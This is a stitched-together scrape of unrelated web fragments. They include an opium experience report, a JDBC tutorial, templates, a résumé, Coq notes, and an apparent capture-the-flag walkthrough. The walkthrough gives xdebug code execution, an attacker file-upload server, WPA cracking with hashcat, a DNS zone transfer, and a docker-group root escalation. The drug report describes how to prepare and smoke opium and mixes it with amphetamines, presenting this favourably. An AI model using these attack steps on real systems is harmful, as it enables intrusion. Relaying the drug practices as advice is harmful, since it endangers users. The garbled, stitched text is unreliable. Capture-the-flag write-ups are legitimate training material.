| DOSE: |
8 bowls |
smoked |
Opium |
(tar / resin) |
| |
45 mg |
oral |
Amphetamines |
(pill / tablet) |
| |
4 bowls |
smoked |
Opium |
(tar / resin) |
| |
4 bowls |
smoked |
Cannabis |
(plant material) |
My girlfriend and I had been considering trying opium ever since we accidentally purchased some thinking it was hash. I had my first voluntary chance a week ago, mixing the small amounts of opium with some bud. Unfortunately, we had some rather strong bud, overpowering the opium high.
Tonight we purchased 3 grams and decided to try smoking it by itself, and then maybe add some weed later on during the night. We picked up our friend, who had an opium pipe, but had only used it for bud up until this, and headed pack to my girlfriend’s house for our first real opium high. We crowded into the gazebo her backyard and sat down at the metal round table. The pipe my friend had was a little over a foot, with a metal mouthpiece, a detachable metal bowl, and what seemed like a fiberglass stem. The bowl was unlike those of a glass pipe used for weed. It was about an inch deep and was tiered with two steps down, creating an increasingly smaller hole.
We got the pipe ready: cleaned it out, tapped out whatever weed was left in it from the last use. I lit a candle and found a safety. I pinched about 1/4 of a gram and rolled it into a ball. I heated the safety pin in the candle and poked it through the ball of resin. I pushed the safety pin with the tar ball on it into the bowl, making sure the safety pin made a hole through the ball and into the stem connected to the bottom of the bowl. I poked a little on the pipe to make sure the pull was sufficient, but not enough to pull the op' into the stem thus clogging the pipe.
I got out my lighter (it is an adjustable disposable kind), and knowing that opium burns at a higher heat, ripped off the metal covering and changed the lighter into what my friends call a 'crack lighter'. The flame almost doubles in height, and I am pretty sure that it raises the temperature of the flame as well.
I started pulling softly so as to light the tar, and then took a nice long hit. I held the smoke in as I'm used to doing with weed (though I'm not sure if that's necessary). The smoke felt a bit harsher on my throat than my regular weed smoke. The opium smoke was a pleasant mildly sweet floral taste, though I still prefer weed smoke. I exhaled and felt a warm sensation run up and down my spine, like a shock of warmth that just pushed me back in my chair, which was made even better because it must have been about 35 degrees out.
I immediately smelled the wonderful odor of the opium. It was so sweet, like the incense I can buy at my local headshop, only twenty times as potent. This was one of the most drawing points to me about opium. The first time I had encounter opium (not smoking it) my insisted I smell the bag it was in. I leaned close and the smell itself was almost intoxicating.
We passed the pipe around until we had finished at least eight bowls. The opium took a little while to hit; it seemed to subtly creep up on me. I slowly felt each of my senses being a little bit dulled, mostly my vision. I didn't realize how much it had got to me until I tried to stand up, and then the opium hit pretty hard. It felt as though my whole body was tingling, I just sat back down right away. I closed my eyes and it felt amazing, like everything was put on pause for a second.
The whole time that the pipe was being passed around, I couldn't take my eyes off the smoke. It looked so perfect, so cleanly white, almost the point where it looked like it might have had cool blue color to it as well. My mind couldn’t focus directly on anything, it all seemed a little muted or fuzzy. It's not like the confusion of a weed high; I seemed to be in perfect control of everything around me. We looked at each other, sinking back into our chairs, feeling so mellow. The wind blew over us chilling me, but I felt this all over warmth inside me.
 But first I remembered I had stored three 15mg amphetamine salts pills. I popped those to give me a little head start on my friends. As I rode in the car, my mix CD blared, but it seemed like the music was just in the background. It felt like the car was pushing me along, instead of me just riding in it. It was pleasant feeling, it made my muscles jump and the warmth flooded over me again. We reached the coffee shop and parked the car.
As we walked through the bookstore/coffee shop I noticed just how relaxed my muscles really were. My head hung down a little more than usual and my arms stayed pretty much pointing to the ground, only rising to pay the cashier. I didn't fell just relaxed, I felt, as my friend put it, 'limber,' like I had been stretching, and now my muscles could just move as they pleased. We walked around the bookstore, each one of us being distracted by interesting books.
After wandering for about an hour, we decided we all needed to have another round of the op'. We decided on a nearby playground, which would be pretty dark considering it was almost 9:30. We sat down on some benches and I made another bowl, this time using a lighter (unfortunately wasting most of it) to heat the safety pin. For the first four or five bowls we smoked just the opium, but as the night wound down, around the sixth bowl, I started placing a 1/4 gram of weed at the bottom of the bowl, with a small ball of opium on top of it. I knew this would ensure a great sleep, one of my favorite parts of opiates and bud.
We smoked around another 4 bowls of the weed and op' mix. I think this provided the best smell, taste, and feeling. I loved the mix of the weed and opium smoked; they seemed to compliment each other perfectly in my mind. Both the smokes smelled so sweet, the mixing of the almost artificial scent of the opium with the affronting smell of the weed was perfect combination.
Eventually my girlfriend had to drop me back at my house. It felt like such a perfect night, no stress, just spending some time with friends. Just a little while ago I went outside and smoked one more bowl, which then inspired me to write this.
Even now, as I look over my words they seem a little off, and my hands seem very distant from my body. I feel detached form everything, but I don't panic because I know any second I can pull myself back.
The opium high was something completely new to me; I had never really indulged in too many opiates before. It seemed a lot like a weed high to me: being relaxed and mellow, feeling kind of limp, yet the best part was instead of being incredibly tired like I usually am after smoking, I just want to stay up to prolong the high. I feel much more in control of my surroundings, I'm doing things actively instead of just sitting back and letting them happen to me.
I only had a few problems with my opium experience. Even now I can still feel how scorched my throat, not so much pain as an uncomfortable roughness, or dryness. I also notice that it's a little harder to breathe deep. But I figure both these are just due to the different kind of smoke. The last problem I had was that it seemed like there should be an easier, maybe even more efficient way to put together a bowl of opium, the heating of the safety pin seemed a bit archaic. However, I'm sure I'll continue my smoking tomorrow. I enjoyed my opium thoroughly, and despite its potentially addictive qualities, I'm sure I'll try it within the next few months. I would always welcome the addition of opium to a bowl of weed.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Home
(current)
About
Donate Books
Resources
Login
SIGN UP
🔍
AEC Libraray
Address
A-block, Street no-4, New Delhi- 110044, India
Lets Talk
+1<PHONE_NUMBER>
General Support
<EMAIL_ADDRESS>Send Us A Message
Tell us your name*
Enter your email
Enter phone number
Message
Send message


Design and Analysis of Algorithms
Design and Analysis:
An algorithm is a set of steps of operations to solve a problem performing calculation, data processing, and automated reasoning tasks. An algorithm is an efficient method that can be expressed within finite amount of time and space.
Algorithm Design:
An algorithm is the best way to represent the solution of a particular problem in a very simple and efficient way. If we have an algorithm for a specific problem, then we can implement it in any programming language, meaning that the algorithm is independent from any programming languages.
Characteristics of Algorithms The main characteristics of algorithms are -
Algorithms must have a unique name.
Algorithms should have explicitly defined set of inputs and outputs.
Algorithms are well-ordered with unambiguous operations.
Algorithms halt in a finite amount of time. Algorithms should not run for infinity, i.e., an algorithm must end at some point.
View Content


What is a Chart?
A chart is a graphic representation of data and values. Charts are linked to the worksheet data they are created from and are updated when you change the worksheet data. Charts are constructed with data points and data series - group of selected data points within columns or rows.
Embedded Charts and Chart Sheets
You can create an embedded chart as an object on a worksheet when you want to display a chart along with its associated data or you can create a chart sheet as a separate sheet in a workbook.
To create a chart, follow the given steps:
1. Select the cells that contain the data that you want to appear in the chart.
2. If you want the column and row labels to appear in the chart, include the cells that contain them in the selection.
3. Click Insert menu, click Charts tab.
4.And select chart type.
5. Enter chart title and other options.
6. Specify Location for inserting chart.
To change default chart type:
The default chart type for Microsoft Excel is a column chart, unless you change it. If you create a different type of chart in a routine such as a line chart, you can change the default chart type. If you already have a chart that has the chart type, items and formatting you want, you can use that chart as the default chart type.
To change the default chart type, follow the given steps :-
1. Click a chart.
2. On the Chart menu, click Chart Type.
3. On the Standard Types or Custom Types tab, click the chart type you want.
4. To close the dialog box and change the chart type of the current chart, click OK.
Note :- Other options pertaining to the Chart can also be changed by using the Chart Menu options. For example, you can change the Chart Title, the Source Data, the Location etc. These options are also available on the Shortcut Menu which appears with a Right Click on the chart.


flixel.text.FlxTextFormat
- type
- class
- implements
- flixel.interfaces.IFlxDestroyable
- defined in
- flixel.text.FlxText
Constructor
- parameters
FontColor
(Optional) Set the font color. By default, inherits from the default format.
Bold
(Optional) Set the font to bold. The font must support bold. By default, false.
Italic
(Optional) Set the font to italics. The font must support italics. Only works in Flash. By default, false.
BorderColor
(Optional) Set the border color. By default, no border (The color is TRANSPARENT)
Start
(Default=-1) The start index of the string where the format will be applied. If not set, the format won't be applied.
End
(Default=-1) The end index of the string where the format will be applied.


{% extends "base.html" %} {% block title %}{{ _('Publications') }} — {{ service_name }}{% endblock %} {% block content %}
{{ _('Publications can be linked to objects to track where and how an object has been used in a publication.') }}
{% if publications %}{{ _('No publications have been linked to any objects yet.') }}
{% endif %} {% endblock %}


{% extends 'school/homebase.html' %} {% block content %}
Welcome to School Management System.
You can access various features after Login.
Apply For Job Login


Differences between dropping a packet, blocking a packet, etc. Know what is 'actually' happening when a port is 'filtered' in nmap
53 dns on TCP usually suggests DNS zone transfer
The dns script doesn't find anything
xdebug in http headers
Should only be listening on local host, but may be misconigured to allow it to respond to the outside
Can use chrome or a new metasploit module to interact with xdebug
Chrome has an xdebug extension/app
xdebug over port 9000
Send an xdebug session start request to the web server
GET /?XDEBUG_SESSION_START=PleaseSubscribe
And the xdebug app console should receive the request
Adding code execution:
Append to the HTML
system("")
Nginx file transfers, set up the server on the attacking machine
mkdir /var/www/upload
chown www-data /var/www/upload
chmod 777 /var/www/upload
/etc/nginx/sites-available/file-upload
server {
listen 8001 default_server;
server_name ippsec.rocks;
location / {
root /var/www/upload;
dav_methods PUT;
}
}
ln -s /etc/nginx/sites-available/file_upload /etc/nginx/sites-enabled/
systemctl restart nginx
and upload with curl:
curl --upload-file <file> server:port
Cracking WPA
Known by the cipher suite: Group Cipher Suite: AES (CCM) in Wireshark
and the RSN information
Let's crack it with hashcat...
Grab hashcat-utils from github
make
./cap2hccapx captured_file.cap crackme_wpa
hashcat -m 2500 crackme_wpa rockyou.txt
We get the password.
We can have wireshark to decryption now!
Wireshark > Edit > preferences > Protocols > IEEE 802.11 > Add decryption key: wpa-pwd, and check box for enable decryption
filter: tcp || udp
Foundd a domain name: ctfolympus.htb
Now to zone transfer
dig axfr @<IP_ADDRESS> ctfolympus.htb
We see a portal to Hades with three 'ports' we can use for port knocking
and a possible password as well
nmap -Pn --scan-delay=1 --max-retries=0 -p 1,2,3 <host>
and check for open ports
nmap scans for ports too fast for knockd sometimes, so adding a scan delay or manually knock with something else (like nc)
You can use the "-r" option in nmap to disable randomization of the port scan
docker group privesc
docker run -ti <docker name> <command>
But for the main privesc...mount the volume into a docker container
docker run -v /:/mnt/PleaseSubscribe -ti <docker name> <command>
docker run -v /:/mnt/PleaseSubscribe -ti Olympia bash


Letters from Feridun
You had me at hello
Visually explore the email correspondence from our beloved university president.


--- layout: post title: Reminiscing date: 2011-11-17 20:40:07.000000000 -08:00 type: post published: true status: publish categories: - Journal tags: - go-to travel shirts - Monster - Nightswimming - R.E.M. - stories i tell too much meta: _publicize_pending: '1' _edit_last: '6192' aktt_tweeted: '1' original_post_id: '438' _wp_old_slug: '438' author: login: falsefridays email<EMAIL_ADDRESS>display_name: Jim Withington first_name: '' last_name: '' excerpt: In which I talk about R.E.M. yet again. ---
I'm really happy to see them resurrecting this phrase for the end-of-an-era R.E.M. collection.
This post started as a thought for tumblr, something I'd dash off, up up and away, another in a series of things up for attention in a place where I'm not sure anyone pays attention. But I realized I had more to say, more to think about, and saying it here somehow fits.
***
I mention that this phrase, this Part Lies, Part Hart, Part Truth, Part Garbage is a resurrection, and that's because it is. The first time I encountered it, I saw it on a t-shirt.
You see, I had won first in line at Sears, and with that prize came the ability to purchase the best public seats-- 19th row, floor--for R.E.M.'s Monster Tour. Greg and I freaked out so much that we tried to pool our cash together to buy an extra ticket, and of course we ended up selling that one to Candy, the girl we had both "gone out with" in middle school, just a few years prior.
So there we were, at the Rosemont Horizon, and there it was: a long sleeved t-shirt, dates on the sleeve, and this phrase--Part Lies, Part Hart, Part Truth, Part Garbage--on the back.

The show was great. We had fun. I think it was one of the rare times when Greg and I weren't crushing on Candy, so we were just kids who had known each other for a long time (I'd known them since 6th grade, they probably knew each other since first or something) sharing a great show. I actually don't remember much of it aside from how high and black the ceiling was before the show, and how excited I felt.
That shirt has been one of my go-to travel shirts for years. It's separating on the neck, as they do. It's been in the rotation for cold-apartment pj's and "I need a layer" Homecoming trips.
I love that it says LIES TRUTH HEART GARBAGE on the front, but on the back, they acknowledge, yeah, all of that is in there.
I love that I am rambling because I can't find the words but I want to find the words.
***
A few weeks ago, I got an IM from one of my friends that knew me back then, a guy who bops in and out of my gchat, who made something of himself by being a hacker and learning the internet ropes back when you could do that just because you liked Industrial and piercings and messing with people on IRC. He was important during one of the more challenging times in my life, long distance relationship #1, a relationship where R.E.M. and the Cure and Counting Crows really became this thing, a shared language, the common words of romantics at the end of their teen years figuring out what to do with all of that feeling.
So I got a random IM that said, "hey man, R.E.M. broke up." And first I thought, "huh." And then, "why did he tell me this?"

Part Lies, Part Heart, Part Truth, Part Garbage.
It was nice to hear from him, and to think about things. It was nice to think about how much R.E.M. had meant, for a time. I liked being back there. I liked that it was nice to know that I was here, now.


Because screen recording on iOS 11 records everything you do, it’ll also capture those moments when you close Control Center or stop a recording. To make your videos look a bit cleaner, be sure to trim the first and last few seconds of the video in the Photos app.
Another potential annoyance in screen recording will be push notifications. Turn on Do Not Disturb, or set your device into AirPlane Mode to put those on pause and stop visual interruptions in your recording.
When you start a screen recording on your iOS device, it’ll also capture your current status bar. That means low battery levels, and low-signal strength as well. If you want to go for a clean look of 100% battery and full signal, your best option is to plug it into your Mac.
Follow the instructions listed here, as if you were going to record on your Mac, but start the recording from your iOS device instead. Using this approach will make iOS show your battery as 100%, full carrier signal, etc. If you’re going through this much effort though, it might just be easier to record and edit after on your Mac.
Screen recording only captures what’s on your display, not the sound coming from the application you’re looking at. You have the option to enable recording from the microphone though. To do that, 3D Touch the screen recording toggle in Control Center and select Microphone Audio at the bottom of the view.


|
|
|
|
Please see the Terms of Use. If You do not or cannot agree to these Terms of Use, You are not permitted to use the Internal Use Application or related services. Do not download or use the Internal Use Application or any related services in that case.
Install App: $title
|
|
|
|


This page describes all the tables used in the JDBC tutorial and how to create them:
The COFFEES
table stores information about the coffees available for sale at The Coffee Break:
| COF_NAME | SUP_ID | PRICE | SALES | TOTAL |
|---|---|---|---|---|
| Colombian | 101 | 7.99 | 0 | 0 |
| French_Roast | 49 | 8.99 | 0 | 0 |
| Espresso | 150 | 9.99 | 0 | 0 |
| Colombian_Decaf | 101 | 8.99 | 0 | 0 |
| French_Roast_Decaf | 49 | 9.99 | 0 | 0 |
The following describes each of the columns in the COFFEES
table:
COF_NAME
: Stores the coffee name. Holds values with a SQL type of VARCHAR
with a maximum length of 32 characters. Because the names are different for each type of coffee sold, the name uniquely identifies a particular coffee and serves as the primary key.SUP_ID
: Stores a number identifying the coffee supplier. Holds values with a SQL type of INTEGER
. It is defined as a foreign key that references the column SUP_ID
in the SUPPLIERS
table. Consequently, the DBMS will enforce that each value in this column matches one of the values in the corresponding column in the SUPPLIERS
table.PRICE
: Stores the cost of the coffee pet pound. Holds values with a SQL type of FLOAT
because it needs to hold values with decimal points. (Note that money values would typically be stored in a SQL type DECIMAL
or NUMERIC
, but because of differences among DBMSs and to avoid incompatibility with earlier versions of JDBC, the tutorial uses the more standard type FLOAT
.)SALES
: Stores the number of pounds of coffee sold during the current week. Holds values with a SQL type of INTEGER
.TOTAL
: Stores the number of pounds of coffee sold to date. Holds values with a SQL type of INTEGER
.The SUPPLIERS
stores information about each of the suppliers:
| SUP_ID | SUP_NAME | STREET | CITY | STATE | ZIP |
|---|---|---|---|---|---|
| 101 | Acme, Inc. | 99 Market Street | Groundsville | CA | 95199 |
| 49 | Superior Coffee | 1 Party Place | Mendocino | CA | 95460 |
| 150 | The High Ground | 100 Coffee Lane | Meadows | CA | 93966 |
The following describes each of the columns in the SUPPLIERS
table:
SUP_ID
: Stores a number identifying the coffee supplier. Holds values with a SQL type of INTEGER
. It is the primary key in this table.SUP_NAME
: Stores the name of the coffee supplier.STREET
, CITY
, STATE
, and ZIP
: These columns store the address of the coffee supplier.The table COF_INVENTORY
stores information about the amount of coffee stored in each warehouse:
| WAREHOUSE_ID | COF_NAME | SUP_ID | QUAN | DATE_VAL |
|---|---|---|---|---|
| 1234 | House_Blend | 49 | 0 | 2006_04_01 |
| 1234 | House_Blend_Decaf | 49 | 0 | 2006_04_01 |
| 1234 | Colombian | 101 | 0 | 2006_04_01 |
| 1234 | French_Roast | 49 | 0 | 2006_04_01 |
| 1234 | Espresso | 150 | 0 | 2006_04_01 |
| 1234 | Colombian_Decaf | 101 | 0 | 2006_04_01 |
The following describes each of the columns in the COF_INVENTORY
table:
WAREHOUSE_ID
: Stores a number identifying a warehouse.COF_NAME
: Stores the name of a particular type of coffee.SUP_ID
: Stores a number identifying a supplier.QUAN
: Stores a number indicating the amount of coffee available.DATE
: Stores a timestamp value indicating the last time the row was updated.The table MERCH_INVENTORY
stores information about the amount of non-coffee merchandise in stock:
| ITEM_ID | ITEM_NAME | SUP_ID | QUAN | DATE |
|---|---|---|---|---|
| 00001234 | Cup_Large | 00456 | 28 | 2006_04_01 |
| 00001235 | Cup_Small | 00456 | 36 | 2006_04_01 |
| 00001236 | Saucer | 00456 | 64 | 2006_04_01 |
| 00001287 | Carafe | 00456 | 12 | 2006_04_01 |
| 00006931 | Carafe | 00927 | 3 | 2006_04_01 |
| 00006935 | PotHolder | 00927 | 88 | 2006_04_01 |
| 00006977 | Napkin | 00927 | 108 | 2006_04_01 |
| 00006979 | Towel | 00927 | 24 | 2006_04_01 |
| 00004488 | CofMaker | 08732 | 5 | 2006_04_01 |
| 00004490 | CofGrinder | 08732 | 9 | 2006_04_01 |
| 00004495 | EspMaker | 08732 | 4 | 2006_04_01 |
| 00006914 | Cookbook | 00927 | 12 | 2006_04_01 |
The following describes each of the columns in the MERCH_INVENTORY
table:
ITEM_ID
: Stores a number identifying an item.ITEM_NAME
: Stores the name of an item.SUP_ID
: Stores a number identifying a supplier.QUAN
: Stores a number indicating the amount of that item available.DATE
: Stores a timestamp value indicating the last time the row was updated.The table COFFEE_HOUSES
stores locations of coffee houses:
| STORE_ID | CITY | COFFEE | MERCH | TOTAL |
|---|---|---|---|---|
| 10023 | Mendocino | 3450 | 2005 | 5455 |
| 33002 | Seattle | 4699 | 3109 | 7808 |
| 10040 | SF | 5386 | 2841 | 8227 |
| 32001 | Portland | 3147 | 3579 | 6726 |
| 10042 | SF | 2863 | 1874 | 4710 |
| 10024 | Sacramento | 1987 | 2341 | 4328 |
| 10039 | Carmel | 2691 | 1121 | 3812 |
| 10041 | LA | 1533 | 1007 | 2540 |
| 33005 | Olympia | 2733 | 1550 | 4283 |
| 33010 | Seattle | 3210 | 2177 | 5387 |
| 10035 | SF | 1922 | 1056 | 2978 |
| 10037 | LA | 2143 | 1876 | 4019 |
| 10034 | San_Jose | 1234 | 1032 | 2266 |
| 32004 | Eugene | 1356 | 1112 | 2468 |
The following describes each of the columns in the COFFEE_HOUSES
table:
STORE_ID
: Stores a number identifying a coffee house. It indicates,
among other things, the state in which the coffee house is
located. A value beginning with 10, for example, means that
the state is California. STORE_ID
values beginning with 32
indicate Oregon, and those beginning with 33 indicate the
state of Washington.CITY
: Stores the name of the city in which the coffee house is located.COFFEE
: Stores a number indicating the amount of coffee sold.MERCH
: Stores a number indicating the amount of coffee sold.TOTAL
: Stores a number indicating the total amount of coffee and merchandise sold.The table DATA_REPOSITORY stores URLs that reference documents and other data of interest to The Coffee Break. The script populate_tables.sql
does not add any data to this table. The following describes each of the columns in this table:
DOCUMENT_NAME
: Stores a string that identifies the URL.URL
: Stores a URL.You can create tables with Apache Ant or JDBC API.
To create the tables used with the tutorial sample code, run the following command in the directory <JDBC tutorial directory>
:
ant create-tables
This command runs the following Ant target (from the build.xml
file):
<target name="build-tables" description="Create database tables"> <sql driver="${DB.DRIVER}" url="${DB.URL}" userid="${DB.USER}" password="${DB.PASSWORD}" classpathref="CLASSPATH" delimiter="${DB.DELIMITER}" autocommit="false" onerror="abort"> <transaction src="./sql/${DB.VENDOR}/create-tables.sql"/> </sql> </target>
The sample specifies values for the following sql
Ant task parameters:
| Parameter | Description |
|---|---|
driver |
Fully qualified class name of your JDBC driver. This sample uses org.apache.derby.jdbc.EmbeddedDriver for Java DB and com.mysql.jdbc.Driver for MySQL Connector/J. |
url |
Database connection URL that your DBMS JDBC driver uses to connect to a database. |
userid |
Name of a valid user in your DBMS. |
password |
Password of the user specified in userid |
classpathref |
Full path name of the JAR file that contains the class specified in driver |
delimiter |
String or character that separates SQL statements. This sample uses the semicolon (; ). |
autocommit |
Boolean value; if set to false , all SQL statements are executed as one transaction. |
onerror |
Action to perform when a statement fails; possible values are continue , stop , and abort . The value abort specifies that if an error occurs, the transaction is aborted. |
The sample stores the values of these parameters in a separate file. The build file build.xml
retrieves these values with the import
task:
<import file="${ANTPROPERTIES}"/>
The transaction
element specifies a file that contains SQL statements to execute. The file create-tables.sql
contains SQL statements that create all the tables described on this page. For example, the following excerpt from this file creates the tables SUPPLIERS
and COFFEES
:
create table SUPPLIERS (SUP_ID integer NOT NULL, SUP_NAME varchar(40) NOT NULL, STREET varchar(40) NOT NULL, CITY varchar(20) NOT NULL, STATE char(2) NOT NULL, ZIP char(5), PRIMARY KEY (SUP_ID)); create table COFFEES (COF_NAME varchar(32) NOT NULL, SUP_ID int NOT NULL, PRICE numeric(10,2) NOT NULL, SALES integer NOT NULL, TOTAL integer NOT NULL, PRIMARY KEY (COF_NAME), FOREIGN KEY (SUP_ID) REFERENCES SUPPLIERS (SUP_ID));
Note: The file build.xml
contains another target named drop-tables
that deletes the tables used by the tutorial; run this target first before running create-tables
if you want to re-create these tables.

To execute the SQL query, such as those specified by the String
createString
, use a Statement
object. To create a Statement
object, call the method Connection.createStatement
from an existing Connection
object. To execute a SQL query, call the method Statement.executeUpdate
.
All Statement
objects are closed when the connection that created them is closed. However, it is good coding practice to explicitly close Statement
objects as soon as you are finished with them. This allows any external resources that the statement is using to be released immediately. Close a statement by calling the method Statement.close
. Place this statement in a finally
to ensure that it closes even if the normal program flow is interrupted because an exception (such as SQLException
) is thrown.
Note: You must create the SUPPLIERS
table before the COFFEES
because COFFEES
contains a foreign key, SUP_ID
that references SUPPLIERS
.
Similarly, you can insert data into tables with Apache Ant or JDBC API.
To populate the tables used by the tutorial sample code, run the following command (at a command prompt) in the directory <JDBC tutorial directory>
:
ant populate-tables
For example, the following excerpt from populate-tables.sql
populates the tables SUPPLIERS
and COFFEES
:
insert into SUPPLIERS values(49, 'Superior Coffee', '1 Party Place', 'Mendocino', 'CA', '95460'); insert into SUPPLIERS values(101, 'Acme, Inc.', '99 Market Street', 'Groundsville', 'CA', '95199'); insert into SUPPLIERS values(150, 'The High Ground', '100 Coffee Lane', 'Meadows', 'CA', '93966'); insert into COFFEES values('Colombian', 00101, 7.99, 0, 0); insert into COFFEES values('French_Roast', 00049, 8.99, 0, 0); insert into COFFEES values('Espresso', 00150, 9.99, 0, 0); insert into COFFEES values('Colombian_Decaf', 00101, 8.99, 0, 0); insert into COFFEES values('French_Roast_Decaf', 00049, 9.99, 0, 0);
The following method, SuppliersTable.populateTable
, inserts data into the table:
public void populateTable() throws SQLException { Statement stmt = null; try { stmt = con.createStatement(); stmt.executeUpdate("insert into " + dbName + ".SUPPLIERS " + "values(49, 'Superior Coffee', '1 Party Place', " + "'Mendocino', 'CA', '95460')"); stmt.executeUpdate("insert into " + dbName + ".SUPPLIERS " + "values(101, 'Acme, Inc.', '99 Market Street', " + "'Groundsville', 'CA', '95199')"); stmt.executeUpdate("insert into " + dbName + ".SUPPLIERS " + "values(150, 'The High Ground', '100 Coffee Lane', " + "'Meadows', 'CA', '93966')"); } catch (SQLException e) { JDBCTutorialUtilities.printSQLException(e); } finally { if (stmt != null) { stmt.close(); } } }
The following method, CoffeesTable.populateTable
, inserts data into the table:
public void populateTable() throws SQLException { Statement stmt = null; try { stmt = con.createStatement(); stmt.executeUpdate("insert into " + dbName + ".COFFEES " + "values('Colombian', 00101, 7.99, 0, 0)"); stmt.executeUpdate("insert into " + dbName + ".COFFEES " + "values('French_Roast', 00049, 8.99, 0, 0)"); stmt.executeUpdate("insert into " + dbName + ".COFFEES " + "values('Espresso', 00150, 9.99, 0, 0)"); stmt.executeUpdate("insert into " + dbName + ".COFFEES " + "values('Colombian_Decaf', 00101, 8.99, 0, 0)"); stmt.executeUpdate("insert into " + dbName + ".COFFEES " + "values('French_Roast_Decaf', 00049, 9.99, 0, 0)"); } catch (SQLException e) { JDBCTutorialUtilities.printSQLException(e); } finally { if (stmt != null) { stmt.close(); } } }


Real-Time Medical Device Vital Signs Prediction Using Kafka and Spark (Part 1)
This is the first part of our near-realtime vital signs predicting & alerting application. We will be simulating streaming vital sign data from medical devices using Apache Kafka. The streaming data can then be used..
Exploring Anesthesia Patient Vitals Data Using Apache Spark and Scala
Today we are going to dive into analyzing patient vital signs data from a surgical case using Apache Spark.
Real-time Vitals Dashboard Using PubNub FHIR & React.js
We are going to make a real-time vitals dashboard to display a patient's SpO2 and blood pressure data. We will use React.js to create modular reactive components that will seamlessly update our dashboard with data we subscribe to using PubNub...
Creating a scatter plot with brush using D3.js v4
Since d3.js v4 came out I have been trying to figure out how to create a basic brush to explore my scatter plot data. As soon as I thought I figured...
Playing with FHIR and C3.js to Graph Blood Pressure Data
I have been playing around with D3.js and C3.js to help visualize health data from FHIR. Today I will show you how to make a simple and interactive graph...
The Patient Generated Health Data Deluge
Imagine a patient comes to you with their year’s worth of blood pressure data on a thumb drive. You don’t know what device ...
How Tweaking Your Pullups Can Improve Your Life
Repetition and practice makes perfect are the only ways to improve, right? Well if you keep on doing the same thing ...
Real Time Tracking Systems in Healthcare
Real time location system (RTLS) in health care is a technology that helps track and identify medical devices, assets, and patients...


Sometimes you just need a small dialog window to get confirmation from the user. In these cases use a simple modal with no header and no border on the footer.


The Heading of Constant Spec Dialog
Please enter your text here. this is ...tlc.ui/html/constant_dialog.html


I am a Computer Engineer, Founder and Researcher. I love to work with challenging problems, especially in the field of Machine Learning or Signal Processing. I also love Music, Photography and travelling.
Sphera SRL
CEO & Founder
Florence, Italy
AIDIA SRL
CTO & Founder
Florence, Italy
UNIVERSITY OF FLORENCE
Doctor of Philosophy - PhD in Smart Computing
AI Lab
Advisor: Prof. Paolo Frasconi
UNIVERSITY OF FLORENCE
MEng in Computer Engineering
Vote: 110/110 Magna Cum Laude
Thesis title: "RFMLS: Radio Frequency Machine Learning
System"
Thesis supervisors: Stratis Ioannidis, Paolo Frasconi, Andrew
D. Bagdanov.
UNIVERSITY OF FLORENCE
BS in Computer Engineering
Vote: 102/110
Thesis title: "Recognition techniques and their application to
the control of moving systems through embedded platforms"
Thesis supervisor: Fabrizio Argenti.
UNIVERSITY OF FLORENCE
Researcher
Florence, Italy
NORTHEASTERN UNIVERSITY - SPIRAL LAB
Researcher
Boston, MA, USA
UNIVERSITY OF FLORENCE
Researcher (Research Scholarship)
Florence, Italy
Conlon: a Pseudo-song Generator Based on a New Pianoroll, Wasserstein Autoencoders, and Optimal Interpolations
Pattern-Based Music Generation with Wasserstein Autoencoders and PRC Descriptions
DeepRadioID: Real-Time Channel-Resilient Optimization of Deep Learning-based Radio Fingerprinting Algorithms
No Radio Left Behind: Radio Fingerprinting Through Deep Learning of Physical-Layer Hardware Impairments


My Team
Jen Smith
Manager
ID: 12
Email:
<EMAIL_ADDRESS>Office number: 173
Lily Stack
Engineer
ID: 19
Email:
<EMAIL_ADDRESS>GitHub:
https://github.com/lilystackengineer
Dwayne Lee
Engineer
ID: 4
Email:
<EMAIL_ADDRESS>GitHub:
https://github.com/dwayneleeengineer
Lao Ge
Intern
ID: 7
Email:
<EMAIL_ADDRESS>School: NCSU
Marge George
Intern
ID: 15
Email:
<EMAIL_ADDRESS>School: UNC-CH


Library unfinished
Check types in Coq
Require Import Bool.
Search bool.
Search bool.
These are "bool" datatypes - lowercase "true" and
"false" used just to manipulate Boolean values.
Check true.
Check false.
Eval compute in orb true false.
Eval compute in true || false.
Eval compute in andb true false.
Eval compute in true && false.
Eval compute in negb false.
Eval compute in if true then 3 else 4.
Definition a := true.
Eval compute in orb a (negb a).
Definition eMiddle (a:bool): bool :=
orb a (negb a).
Eval compute in eMiddle true.
Definition Nor (a b:bool): bool :=
negb (orb a b).
Eval compute in Nor true true.
Eval compute in andb true false.
Eval compute in true && false.
Eval compute in orb true false. Eval compute in true || false.
Eval compute in negb false.
Eval compute in if true then 3 else 4.
Eval compute in (3=4).
Warning! The following expression is
wrong, because "if" expression needs "bool" type,
but "1=2" evaluates to "Prop" type.
In short, "false" and "False" are two very different things.
Eval compute in if 1 = 2 then 3 else 4.
If you want to write such conditionals, compare two numbers so that it returns "bool".
Eval compute in if 1 = 2 then 3 else 4.
If you want to write such conditionals, compare two numbers so that it returns "bool".
Require Import Coq.Arith.EqNat.
Eval compute in if beq_nat 1 2 then 3 else 4.
This function takes two natural numbers and returns "bool"
Check beq_nat.
These are propositions of type "Prop".
In this case "True" embodies statement that is always true.
And "False" is a statement that is a falsehood.
Check True.
Check False.
You can check types of other expressions;
and you can also evaluate them.
These are simply natural numbers.
Check 3.
Check (3+4).
This is a pair of natural numbers of type (nat*nat).
Check (3,4).
Function mult takes two natural arguments.
Expression mult 3 has got one argument already it wants one more.
Finally, expression mult 3 5 has got both arguments, it can be computed.
Expression mult 3 has got one argument already it wants one more.
Finally, expression mult 3 5 has got both arguments, it can be computed.
Check mult.
Check mult 3.
Check mult 3 5.
Unlike "mult" which should precede
both arguments, some operators are infix operators:
they are written in the middle.
Locate "*".
Locate "/\".
Locate "->".
Locate "_ <= _".
Locate "/\".
Locate "->".
Locate "_ <= _".
These are propositions (you can ask, if they are True
or not). They are not "bool" datatype! They are "Prop" datatype.
Notation 3<>6 stands for "not equal".
Check (3=5).
Check ((3=5)/\True).
Check (3 <= 6).
Check (3 <> 6).
This is a function type. Not a value, just a
type notation.
Check nat -> Prop.
Definition g (x: nat): (nat*nat) :=
(x*x, x).
Check g.
Eval compute in
let f := fun x => (x * x, x) in f 4.
Use and build truth tables
These examples are adopted from this source: Software Foundations by Benjamin C. Pierce et al. - Basics
Example test_orb1: (orb true false) = true.
Proof.
simpl.
reflexivity.
Qed.
Proof.
simpl.
reflexivity.
Qed.
Definition norb (b1:bool) (b2:bool) : bool :=
match b1 with
| true => false
